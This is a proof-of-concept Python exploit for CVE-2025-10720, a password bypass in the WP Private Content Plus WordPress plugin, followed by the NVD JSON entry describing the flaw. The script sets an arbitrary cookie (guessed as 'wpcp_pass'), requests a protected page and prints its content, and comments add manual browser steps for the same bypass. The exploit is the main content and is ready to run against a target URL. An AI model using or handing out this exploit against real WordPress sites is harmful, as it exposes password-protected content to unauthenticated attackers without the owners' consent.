CVE-2025-10720

# CVE-2025-10720 PoC - WP Private Content Plus Password Bypass # Vulnerability: Client-side cookie only authentication bypass import requests target_url = "http://target-wordpress-site.com" protected_page = "/protected-content-page/" # Step 1: Identify the cookie name used by WP Private Content Plus # The plugin typically uses a cookie like 'wpcp_pass' or similar cookie_name = "wpcp_pass" # Step 2: Create a session session = requests.Session() # Step 3: Set the bypass cookie with any arbitrary value # The server only checks for cookie existence, not its value bypass_cookie = {cookie_name: "bypass_value"} session.cookies.update(bypass_cookie) # Step 4: Access the protected content response = session.get(target_url + protected_page) # Step 5: Check if bypass was successful if "password" not in response.text.lower() or "protected" not in response.text.lower(): print("[+] Bypass successful! Protected content accessed.") print("[+] Response content preview:") print(response.text[:500]) else: print("[-] Bypass failed. The cookie name may be different.") print("[-] Try inspecting the page source to find the correct cookie name.") # Alternative manual method using browser: # 1. Open the protected page in browser # 2. Open Developer Tools (F12) -> Application/Storage -> Cookies # 3. Add a cookie with the plugin's auth cookie name and any value # 4. Reload the page to access protected content without password

{"cve": {"id": "CVE-2025-10720", "sourceIdentifier": "[email protected]", "published": "2025-10-13T10:15:45.590", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Private Content Plus through 3.6.2 provides a global content protection feature that requires a password. However, the access control check is based only on the presence of an unprotected client-side cookie. As a result, an unauthenticated attacker can completely bypass the password protection by manually setting the cookie value in their browser."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "references": [{"url": "https://wpscan.com/vulnerability/5295e8da-7aba-4322-981b-80d692b3bc35/", "source": "[email protected]"}]}}